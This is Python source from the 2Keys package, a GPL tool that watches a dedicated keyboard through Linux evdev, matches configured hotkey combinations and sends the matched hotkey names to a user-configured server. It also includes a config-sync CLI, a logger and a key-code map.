from ..util.constants import CONFIG_FILE
logger = Logger("sync")
def sync_config():
logger.info("Syncing config...")
config = load_config()
address = "http://" + config["addresses"]["server"]["ipv4"] + ":" + str(config["addresses"]["server"]["port"]) + "/api/get/config"
logger.debug("GET " + address)
try:
config_json = requests.get(address)
except requests.exceptions.ConnectionError:
logger.err("Couldn't estanblish a connection to the server.")
logger.err("Please check your internet connection.")
exit() # Can't do any more
if config_json.status_code >= 400: # i.e. 404 or 500
logger.err("ERROR: Request for config unsucessful!")
logger.err("Got status code " + str(config_json.status_code) + " with response:")
logger.err(config_json.text)
logger.debug("Headers: ")
logger.debug(config_json.headers)
exit()
config = json.loads(config_json.text)
# Save config
logger.info("Saving config to " + os.getcwd() + "...")
# Add IP to config
logger.debug("Opening config...")
config_file = open(CONFIG_FILE, "w")
logger.debug("Writing config...")
config_file.write("# Config for 2Keys\n# ONLY FOR USE BY THE PROGRAM\n# To change the config, update it on the client and run \"2Keys config-update\" here\n" +
yaml.dump(config, default_flow_style=False))
config_file.close() # Needed so that add keyboard can read it
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/sync/resync_config.py | resync_config.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
from .resync_config import sync_config
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/sync/__init__.py | __init__.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
import sys
import requests
import json
import os
from os import path
import yaml
import colorful
from ..util.constants import SCRIPTS_ROOT, DEFAULT_PORT, MODULE_NAME
from ..util.logger import Logger
from ..util.config import load_config
from ..daemon import generate_daemon
from ..add_keyboard import add_keyboards
logger = Logger("init")
def init(**args):
logger.info("Welcome to the INIT for the detector!")
ipv4 = None
port = DEFAULT_PORT
# Use opts if we can
if args["address"] == None:
logger.info("First we need to know where to find the server")
logger.info("Enter the ipv4 address of the server below:")
ipv4 = input("")
else:
ipv4 = args["address"]
# Port arg
if args["port"] == None:
logger.info("Enter the port of the server below:")
port = input("")
else:
port = args["port"]
# Make request, get config in JSON format
logger.info("Fetching config...")
try:
config_json = requests.get("http://" + ipv4 + ":" + port + "/api/get/config")
except requests.exceptions.ConnectionError:
logger.err("Couldn't estanblish a connection to the server.")
logger.err("Please check your internet connection.")
exit() # Can't do any more
if config_json.status_code >= 400: # i.e. 404 or 500
logger.err("ERROR: Request for config unsucessful!")
logger.err("Got status code " + str(config_json.status_code) + " with response:")
logger.err(config_json.text)
logger.debug("Headers: ")
logger.debug(config_json.headers)
exit()
config = json.loads(config_json.text)
# Save config
logger.info("Saving config to " + os.getcwd() + "...")
logger.debug("Opening config file handler...")
config_file = open("config.yml", "w")
logger.debug("Writing config...")
config_file.write("# Config for 2Keys\n# ONLY FOR USE BY THE PROGRAM\n# To change the config, update it on the client and run \"2Keys config-update\" here\n" +
yaml.dump(config, default_flow_style=False))
config_file.close() # Needed so that add keyboard can read it
# Then scan for keyboards
# Since running directly from here causes issues with async not stopping etc, holding everything up
# run 2Keys add
# (essentially run in another process)
# Do for each keyboard in config.keyboards
logger.info("Running scripts to add path for keyboard input...")
# Check for --no-path-request, which implies paths are already in config
if args["no_path_request"]:
logger.warn("--no-path-request flag was given")
logger.warn("It is assumed all keyboard /dev/input paths are already given in the config.")
logger.warn("Skipping to daemon generation.")
else:
add_keyboards(config)
# Add daemons
generate_daemon(config["name"], config["keyboards"].keys())
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/init/init.py | init.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
from .init import init
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/init/__init__.py | __init__.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
from .cli import cli
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/cli/__init__.py | __init__.py |
#!/usr/bin/env python3
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
# CLI for 2Keys
# I'm just making my own since that's easier for me to understand
import click
import sys
from ..watcher import Keyboard
from ..util import Logger, load_config, constants
from ..add_keyboard import gen_async_handler, add_keyboard
from ..init import init as init_cli
from ..sync import sync_config
from ..daemon import generate_daemon
logger = Logger("cli")
@click.group()
@click.option("--debug", is_flag=True, help="Enable debugging")
@click.option("--silent", is_flag=True, help="Don't log")
def cli(debug, silent):
return
@cli.command()
@click.option("--address", "-a", help="Specify the IPv4 address of the server")
@click.option("--port", "-p", help="Specify the port the server is running on")
@click.option("--no-path-request", is_flag=True, help="Don't run the interactive keyboard detector (assumes all /dev/input/ paths have already been put into the config on the server)")
def init(address, port, no_path_request):
init_cli(address=address, port=port, no_path_request=no_path_request)
@cli.command()
@click.option("-y", "--yes", is_flag=True, help="Don't ask for prompts")
def sync(yes):
logger.warn("This will overwrite the copy of the config on the detector. Proceed? [Y/n]")
proceed = ""
if yes:
logger.warn("-y flag was given. Proceeding...")
proceed = "y"
else:
# ASK
proceed = input("").lower()
# DO IT
if proceed == "y":
sync_config()
@cli.command()
@click.argument("keyboard", default="")
@click.option(
"--inputs-path",
"-i",
help="Provide an alternative path to use as the source of keyboard input 'files' (default: /dev/input/by-id)",
default=constants.KEYBOARDS_PATH_BASE
)
def add(keyboard, inputs_path):
add_keyboard(keyboard, gen_async_handler, inputs_path)
@cli.command()
@click.argument("keyboard")
@click.option("-n", "--no-lock", is_flag=True, help="Don't lock the keyboard")
def watch(keyboard, no_lock):
if keyboard == "":
logger.err("Please provide a keyboard to watch.")
exit()
# Keyboard specified, watch it
config = load_config()
keyboard = Keyboard(config["keyboards"][keyboard], keyboard)
if not no_lock:
try:
keyboard.lock() # Grabs keyboard
keyboard.watch_keyboard()
except (KeyboardInterrupt, SystemExit, OSError):
keyboard.unlock()
exit(0)
else:
keyboard.watch_keyboard()
# Command to generate daemons
@cli.command()
@click.argument("keyboards", nargs=-1, required=False)
def daemon_gen(keyboards):
logger.info("Generating daemon files...")
config = load_config()
keyboard_list = config["keyboards"].keys()
if keyboards != ():
# Use args instead
keyboard_list = keyboards
generate_daemon(config["name"], config["keyboards"].keys())
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/cli/cli.py | cli.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
# See https://github.com/torvalds/linux/blob/master/include/uapi/linux/input-event-codes.h for codes
# and https://www.kernel.org/doc/Documentation/input/event-codes.txt for meanings
# Notes: Code 99 should not be interrupted
# NOTE: Now to solve hotkey duplication
import struct
import time
import sys
import aiofiles
import requests
import json
from evdev import InputDevice
from os import path
from ..util.constants import KEYBOARDS_PATH_BASE, KEYBOARD_EVENT_FORMAT, KEYBOARD_EVENT_SIZE, MAX_KEY_MAPS
from ..util.keyboard_map import keys as KEY_MAP
from ..util.config import load_config
from ..util.logger import Logger
logger = Logger("detect")
class Keyboard:
# keyboard: Keyboard config
# name: Name of keyboard
def __init__(self, keyboard, name):
self.config = load_config()
logger.debug("Got keyboard: " + str(keyboard))
self.keyboard = keyboard
self.name = name
# File for input that corresponds to the keyboard.
self.keyboard_path = keyboard["path"]
# Device from evdev storage
self.keyboard_device = InputDevice(self.keyboard_path)
# Array of pressed keys
# is array of booleans, with the index = key code
# i.e. if pressed_or_not[2] == true, then 2 has been pressed down. Once set to false, the key has been 'unpressed'
self.pressed_or_not = [False] * MAX_KEY_MAPS
# Current keys being pressed
self.keys = [""]
# Local stores of key mappings
self.map = KEY_MAP
# Apply mappings
if "map" in self.keyboard:
self.apply_mappings(self.keyboard["map"])
# Store hotkeys list
self.hotkeys = self.standardise_hotkeys(keyboard["hotkeys"])
# Store array of hotkeys split into chars as this makes checking easier
# current hotkey, used for when watching for an up event
self.current_hotkey_up = None
self.last_hotkey = None
# Custom mapping
# Takes in key/value of key: code and adds to map array
def apply_mappings(self, maps):
for key, code in maps.items():
logger.debug("Mapped " + key + " as (" + key + ") to code " + str(code))
self.map[code] = "(" + key + ")"
# Keyboard watcher
# TODO: Use const from evdev instead of manually checking for cleaner code and no magic numbers
def watch_keyboard(self):
logger.info("Watching for key presses on " + self.name + "...")
for event in self.keyboard_device.read_loop():
type = event.type
code = event.code
value = event.value
# We only want event type 1, as that is a key press
# If key is already pressed, ignore event provided value not 0 (key unpressed)
if (type == 1 or type == 0x1):
logger.info("Key pressed. Code %u, value %u. Mapping: %s" %
(code, value, self.map[code]))
# Set key in array
# Only done if value 1 so as to not conflict with ups
if value == 1:
self.change_key_state(code, value)
logger.debug(self.keys)
# Run alogrithm to check keys against hotkey
# Only run though if value is 0 or 1 to prevent duplicate hotkeys
if value < 2:
# Proceed with regular hotkey logic
checked_hotkey = self.check_for_hotkey(self.keys)
if checked_hotkey != False:
hotkey = self.hotkeys[checked_hotkey]
logger.info("Registered hotkey:")
logger.info(checked_hotkey)
logger.info(hotkey)
# Is is an up, down, or multi function?
if hotkey["type"] == "down" and value == 1:
self.send_hotkey(checked_hotkey, value)
elif hotkey["type"] == "up" and value == 0:
self.send_hotkey(checked_hotkey, value)
elif hotkey["type"] == "multi":
# The server handles picking the right hotkey
self.send_hotkey(checked_hotkey, value)
else:
logger.warn("Hotkey not send as it's type " + hotkey["type"])
# Set key in array
# Only done if value 0 so as to not conflict with downs
if value == 0:
self.change_key_state(code, value)
logger.debug(self.keys)
#elif type != 0 or code != 0 or value != 0:
# print("Event type %u, code %u, value %u at %d.%d" % \
# (type, code, value, tv_sec, tv_usec))
else:
# Events with code, type and value == 0 are "separator" events
print("===========================================")
# Handle change of state (down/up) of key code
# down = True
# Up (as in not pressed) = False
def change_key_state(self, code, value):
if value == 1:
# Key not yet pressed
self.pressed_or_not[code] = True
# Add to self.keys string
if isinstance(self.map[code], str):
self.keys = [combo + self.map[code] for combo in self.keys] # Add to each candidate combo
else:
# Array in use
# Add as different candidates
new_keys = []
for combo in self.keys:
for mapping in self.map[code]:
new_keys.append(combo + mapping)
self.keys = new_keys
elif value == 0:
# Key unpressed, remove
self.pressed_or_not[code] = False
# Remove from combos
if isinstance(self.map[code], str):
self.keys = [combo.replace(self.map[code], "") for combo in self.keys] # Remove from each combo
else:
# Array
for mapping in self.map[code]:
logger.debug("Checking mapping " + str(mapping))
new_keys = []
index = 0
while index < len(self.keys):
combo = self.keys[index]
if combo.find(mapping) >= 0 or combo == mapping: # Only should run if in, to avoid duplicates
new_combo = combo.replace(mapping, "")
if len(new_combo) > 0:
new_keys.append(new_combo) # Remove from each
index += 1
self.keys = new_keys
# If keys array is empty, make sure to add somewhere for next set
if len(self.keys) < 1:
self.keys = [""]
# Standardise hotkey config
# hotkey = hotkeys mappings
# Standard config:
# type: down
# func: Function
def standardise_hotkeys(self, hotkeys):
new_hotkeys = hotkeys
for key, value in new_hotkeys.items():
if isinstance(value, str):
# Only has function
new_hotkeys[key] = {
"type": "down",
"func": value
}
# Else it has to be a regular one OR a muti one as ups require type: up, muties just need an object
# The below fixes #13. where if no type was specified but a func: was the program crashes
elif "type" not in new_hotkeys[key]:
# Function is present, but no type
new_hotkeys[key]["type"] = ("down" if isinstance(value["func"], str) else "multi") # If func is str, use down, if not, use "multi"
return new_hotkeys
# Hotkey detector algorithm
# Return the key of the hotkey if hotkey
# candidate = array of hotkey strings to check
def check_for_hotkey(self, candidates):
# Check each candidate
for combo in candidates:
logger.debug("Checking hotkey in combo " + combo)
for key, mapping in self.hotkeys.items():
# Check each candidate
# Step 1: Check length. If lengths are different, hotkeys can't match
if len(key) != len(combo):
continue
# Step 2: Check if chars are equal
split_hotkey = list(key) # Split into array for easy checking
split_current_keys = list(combo)
if set(split_hotkey).issubset(set(split_current_keys)) or set(split_current_keys).issubset(set(split_hotkey)):
return key # Candidate and hotkey matches, return hotkey location
# If none are true, then this isn't the right one (function yet to return)
return False
# Hotkey sender
# Send hotkey runner command -> server
# hotkey = hotkey ref in config
# value = Value of event type (up, down) from evdev
def send_hotkey(self, hotkey, value):
logger.info("Sending hotkey %s to server..." % hotkey)
try:
data_hotkey = { "keyboard": self.name, "hotkey": hotkey, "value": value }
TYPE_JSON = {"Content-Type": "application/json"} # So the server can interpret it
requests.post("http://" + self.config["addresses"]["server"]["ipv4"] + ":" + str(self.config["addresses"]["server"]["port"]) + "/api/post/trigger", data=json.dumps(data_hotkey), headers=TYPE_JSON, timeout=2)
except requests.exceptions.ConnectionError:
logger.err("Couldn't estanblish a connection to the server.")
logger.err("Please check your internet connection.")
except requests.exceptions.Timeout:
logger.err("The request timed out")
logger.warn("This means either the server isn't running, or is busy running another hotkey.")
logger.warn("Please note the hotkey may still execute after the server has finished running the hotkeys it is currently running")
# Locks (grabs) keyboard
def lock(self):
logger.info("Locking keyboard....")
self.keyboard_device.grab()
# Unlocks (ungrabs) keyboard
def unlock(self):
logger.info("Unlocking keyboard...")
self.keyboard_device.ungrab()
# str keyboard: Keyboard file in /dev/input/by-id
class AsyncKeyboard:
# Root defaults to /dev/input/by-id
def __init__(self, keyboard, root):
# File for input that corresponds to the keyboard.
self.keyboard = path.join(root, keyboard)
# Open keyboard events file in binary mode
self.in_file = open(self.keyboard, "rb")
# Run checker
self.run = True
# IMPORTANT: Don't use non async functions in this. That includes the logger
async def keyboard_watcher(self, callback):
# Only seems to run on key press. Strange.
# Solution, as this makes it hard to stop was to add a callback to part 2
async with aiofiles.open(self.keyboard, "rb") as in_file:
event = await in_file.read(KEYBOARD_EVENT_SIZE) # Open input file
while event and self.run:
print("[ASYNC DEBUG] Key pressed on " + self.keyboard)
break;
await in_file.close()
# Stop all
if self.run:
await callback(self.keyboard)
return self.run
# Stop watching as it's no longer needed
async def stop_watch(self):
print("[DEBUG] CLASS: STOPPING " + self.keyboard)
self.run = False
return
#await self.in_file.close()
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/watcher/watch_keyboard.py | watch_keyboard.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
from .watch_keyboard import Keyboard, AsyncKeyboard
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/watcher/__init__.py | __init__.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
# Logger for 2Keys Python scripts
import colorful
import sys
import os
# string name: Name of module logging
class Logger:
def __init__(self, name):
self.silent = False
self.isDebug = False
self.name = name
if "--debug" in sys.argv or os.getenv("DEBUG", "false").lower() == "true":
self.isDebug = True
if "--silent" in sys.argv or os.getenv("2KEYS_TEST", "False").lower() == "true":
self.silent = True
def info(self, text):
if not self.silent:
print(colorful.magenta(self.name) + " " + colorful.green("info") + " " + str(text))
def debug(self, text):
if not self.silent and self.isDebug:
print(colorful.magenta(self.name) + " " + colorful.cyan("debug") + " " + str(text))
def err(self, text):
if not self.silent:
print(colorful.magenta(self.name) + " " + colorful.red("err") + " " + str(text))
def warn(self, text):
if not self.silent:
print(colorful.magenta(self.name) + " " + colorful.yellow("warn") + " " + str(text))
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/util/logger.py | logger.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
# Constants
import struct
import os
KEYBOARDS_PATH_BASE = "/dev/input/by-id"
# Formatting for keyboard events
#long int, long int, unsigned short, unsigned short, unsigned int
KEYBOARD_EVENT_FORMAT = 'llHHI'
KEYBOARD_EVENT_SIZE = struct.calcsize(KEYBOARD_EVENT_FORMAT)
# Max key maps
MAX_KEY_MAPS = 250
# Script root
SCRIPTS_ROOT = os.path.dirname(os.path.realpath(__file__)) + "/.."
# Config file
CONFIG_FILE = "config.yml"
# REquest dir for sync
UPDATE_KEYBOARD_PATH = "/api/post/update-keyboard-path"
# Default port
DEFAULT_PORT = 9090
# Systemd unit file location
DAEMON_TEMPLATE_PATH = os.path.join(SCRIPTS_ROOT, "./assets/service.service")
DAEMON_TEMPLATE_SCRIPT_PATH = os.path.join(SCRIPTS_ROOT, "./assets/register.sh")
# Local root
LOCAL_ROOT = os.getcwd() + "/.2Keys"
# Module name
MODULE_NAME = "twokeys"
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/util/constants.py | constants.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
# Config loader#
import yaml
from .constants import CONFIG_FILE
from ..util.logger import Logger
logger = Logger("config")
def load_config():
logger.debug("Loading config...")
config_file = open(CONFIG_FILE, "r")
contents = yaml.load(config_file.read(), Loader=yaml.FullLoader)
config_file.close()
return contents
| 2Keys | /2Keys-0.5.1.tar.gz/2Keys-0.5.1/twokeys/util/config.py | config.py |
"""
Copyright 2018 Kishan Sambhi
This file is part of 2Keys.
2Keys is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2Keys is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with 2Keys. If not, see <https://www.gnu.org/licenses/>.
"""
"""
Keyboard mappings
Copy paste from https://github.com/torvalds/linux/blob/master/include/uapi/linux/input-event-codes.h:
/*
* Keys and buttons
*
* Most of the keys/buttons are modeled after USB HUT 1.12
* (see http://www.usb.org/developers/hidpage).
* Abbreviations in the comments:
* AC - Application Control
* AL - Application Launch Button
* SC - System Control
*/
As such some c code is leftover (mostly '#define's.)
None = invalid key
An array of key mapping means multiple keys can correspond to it
Currently 249 keys are mapped
"""
from .constants import MAX_KEY_MAPS
# Applies custom tag to key names
def custom_name(name):
return "$" + name + "$"
#define KEY_(.*?) (0?[xX]?[0-9a-fA-F]+)(.*) # RegExp to convert everything in VSCode
#keys[$2] = "$1" # Replacement RegExp to convert everything in VSCode
keys = [""] * MAX_KEY_MAPS # Index corresponds to code
keys[0] = None # RESERVED
keys[1] = custom_name("ESC")
keys[2] = "1"
keys[3] = "2"
keys[4] = "3"
keys[5] = "4"
keys[6] = "5"
keys[7] = "6"
keys[8] = "7"
keys[9] = "8"
keys[10] = "9"
keys[11] = "0"
keys[12] = "-" # MINUS
keys[13] = "=" # EQUAL
keys[14] = custom_name("BACKSPACE") # BACKSPACE
keys[15] = custom_name("TAB")
keys[16] = "Q"
keys[17] = "W"
keys[18] = "E"
keys[19] = "R"
keys[20] = "T"
keys[21] = "Y"
keys[22] = "U"
keys[23] = "I"
keys[24] = "O"
keys[25] = "P"
keys[26] = ["[", "{"] # LEFTBRACE
keys[27] = ["]", "}"] # RIGHTBRACE
keys[28] = custom_name("ENTER") # ENTER
keys[29] = ["<^", "^"] # LEFTCTRL
keys[30] = "A"
keys[31] = "S"
keys[32] = "D"
keys[33] = "F"
keys[34] = "G"
keys[35] = "H"
keys[36] = "J"
keys[37] = "K"
keys[38] = "L"
keys[39] = ";" # SEMICOLON
keys[40] = "\'" # APOSTROPHE
keys[41] = "`" # GRAVE
keys[42] = ["<+", "+"] # LEFTSHIFT
keys[43] = "\\" # BACKSLASH
keys[44] = "Z"
keys[45] = "X"
keys[46] = "C"
keys[47] = "V"
keys[48] = "B"
keys[49] = "N"
keys[50] = "M"
keys[51] = "," # COMMA
keys[52] = "." # DOT
keys[53] = "/" # SLASH
keys[54] = ["+>", "+"] # RIGHTSHIFT
keys[55] = custom_name("NUM_*") # KEYPAD Asterisk
keys[56] = ["<!", "!"] # LEFTALT
keys[57] = custom_name("SPACE")
keys[58] = custom_name("CAPS") # CAPSLOCK
keys[59] = "F1"
keys[60] = "F2"
keys[61] = "F3"
keys[62] = "F4"
keys[63] = "F5"
keys[64] = "F6"
keys[65] = "F7"
keys[66] = "F8"
keys[67] = "F9"
keys[68] = "F10"
keys[69] = custom_name("NUMLOCK") # NUMLOCK
keys[70] = custom_name("SCROLLLOCK")
# For these, NUM was KP
keys[71] = "NUM7"
keys[72] = "NUM8"
keys[73] = "NUM9"
keys[74] = custom_name("NUM_-")
keys[75] = "NUM4"
keys[76] = "NUM5"
keys[77] = "NUM6"
keys[78] = custom_name("NUM_+")
keys[79] = "NUM1"
keys[80] = "NUM2"
keys[81] = "NUM3"
keys[82] = "NUM0"
keys[83] = custom_name("NUM_.")
# Not included because internationlisation is a pain & I have no idea what char to reference as
# Could be reenabled by surround ZENKAKUHANKAKU with $s and using as: (example config)
# hotkeys:
# $ZENKAKUHANKAKU$: SomeFunction
# Referenced as IC (Internationlisation confusion)
# keys[85] = "ZENKAKUHANKAKU"
keys[86] = custom_name("#") # 102ND key added to UK keyboard
keys[87] = "F11"
keys[88] = "F12"
# keys[89] = "RO" # No idea what this is, IC?
# keys[90] = "KATAKANA" # IC
# keys[91] = "HIRAGANA" # IC
# keys[92] = "HENKAN" # IC
# keys[93] = "KATAKANAHIRAGANA" # IC
# keys[94] = "MUHENKAN" # IC
# keys[95] = "KPJPCOMMA" # No idea what key this is
keys[96] = custom_name("NUM_ENTER") # KPENTER; _ used for readability
keys[97] = ["^>", "^"] # RIGHTCTRL; _ used for readability
keys[98] = custom_name("NUM_/") # KPSLASH
keys[99] = custom_name("PRINT_SCR") # Print Screen & SYSREQ. SYSREQ is used for recovery. Thus, should throw an error if the user tries to use so the system can be recovered
keys[100] = ["!>", "!"]
keys[101] = custom_name("LINE_FEED") # New line char, backwards-compatibility; _ used for readability
keys[102] = custom_name("HOME")
keys[103] = custom_name("UP")
keys[104] = custom_name("PAGE_UP") # _ used for readability
keys[105] = custom_name("LEFT")
keys[106] = custom_name("RIGHT")
keys[107] = custom_name("END")
keys[108] = custom_name("DOWN")
keys[109] = custom_name("PAGE_DOWN") # _ used for readability
keys[110] = custom_name("INSERT")
keys[111] = custom_name("DELETE")
keys[112] = custom_name("MACRO") # Macro key from old keyboards. NOT new macro keys from i.e. Corsair keyboard. Backwards-compatibility
keys[113] = custom_name("MUTE") # KEY_MIN_INTERESTING (see bottom)
keys[114] = custom_name("VOL_DOWN") # VOLUMEUP. _ used for readability
keys[115] = custom_name("VOL_UP") # VOLUMEUP
keys[116] = None # POWER; Throw error so the user can power the system down
keys[117] = custom_name("NUM_=") # Numpad equals
keys[118] = custom_name("NUM_+-") # KPPLUSMINUS
keys[119] = custom_name("PAUSE")
keys[120] = custom_name("SCALE")
keys[121] = custom_name("NUM_,") # KP Comma
# keys[122] = "HANGEUL" # IC
#define KEY_HANGUEL KEY_HANGEUL # Leftover from Linux
keys[123] = "HANJA" # IC
keys[124] = "YEN" # IC
keys[125] = [custom_name("LEFTMETA"), "#", "<#"] # IC, Windows key
keys[126] = [custom_name("RIGHTMETA"), "#", "#>"] # IC, Windows key
keys[127] = [custom_name("COMPOSE"), custom_name("CONTEXT_MENU")] # Compose two chars, useful as a mode key. Also the context menu key
keys[128] = custom_name("STOP") # Stop key, don't know what for. NOT MEDIA CONTROL
keys[129] = custom_name("AGAIN")
keys[130] = custom_name("PROPS")
keys[131] = custom_name("UNDO")
keys[132] = custom_name("FRONT")
keys[133] = custom_name("COPY")
keys[134] = custom_name("OPEN")
keys[135] = custom_name("PASTE")
keys[136] = custom_name("FIND")
keys[137] = custom_name("CUT")
keys[138] = custom_name("HELP")
keys[139] = custom_name("MENU")
keys[140] = custom_name("CALC")
keys[141] = custom_name("SETUP")
keys[142] = custom_name("SLEEP")
keys[143] = custom_name("WAKEUP")
keys[144] = custom_name("FILE")
keys[145] = custom_name("SENDFILE")
keys[146] = custom_name("DELETEFILE")
keys[147] = custom_name("XFER")
keys[148] = custom_name("PROG1")
keys[149] = custom_name("PROG2")
keys[150] = custom_name("WWW")
keys[151] = custom_name("MSDOS")
keys[152] = [custom_name("COFFEE"), custom_name("SCREEN_LOCK")]
#define KEY_SCREENLOCK KEY_COFFEE
keys[153] = custom_name("ROTATE_DISPLAY")
#define KEY_DIRECTION KEY_ROTATE_DISPLAY
keys[154] = custom_name("CYCLE_WINDOWS")
keys[155] = custom_name("MAIL")
keys[156] = custom_name("BOOKMARKS")
keys[157] = custom_name("COMPUTER")
keys[158] = custom_name("BACK")
keys[159] = custom_name("FORWARD")
keys[160] = custom_name("CLOSE_CD")
keys[161] = custom_name("EJECT_CD")
keys[162] = custom_name("EJECT_CLOSE_CD")
keys[163] = custom_name("MEDIA_NEXT") # CD
keys[164] = custom_name("MEDIA_PLAY_PAUSE") # CD
keys[165] = custom_name("MEDIA_PREVIOUS") # CD
keys[166] = custom_name("MEDIA_STOP") # CD
keys[167] = custom_name("MEDIA_RECORD") # RECORD
keys[168] = custom_name("MEDIA_REWIND") # REWIND
keys[169] = custom_name("PHONE") # Media Select Telephone
keys[170] = custom_name("ISO")
keys[171] = custom_name("CONFIG")
keys[172] = custom_name("APP_HOMEPAGE") # AC
keys[173] = custom_name("APP_REFRESH") # AC
keys[174] = custom_name("APP_EXIT") # AC
keys[175] = custom_name("MOVE")
keys[176] = custom_name("EDIT")
keys[177] = custom_name("SCROLL_UP")
keys[178] = custom_name("SCROLL_DOWN")
# keys[179] = custom_name("KPLEFTPAREN") # What is this?
# keys[180] = custom_name("KPRIGHTPAREN") # What is this?
keys[181] = custom_name("APP_NEW") # AC
keys[182] = custom_name("APP_REDO") # AC
keys[183] = "F13"
keys[184] = "F14"
keys[185] = "F15"
keys[186] = "F16"
keys[187] = "F17"
keys[188] = "F18"
keys[189] = "F19"
keys[190] = "F20"
keys[191] = "F21"
keys[192] = "F22"
keys[193] = "F23"
keys[194] = "F24"
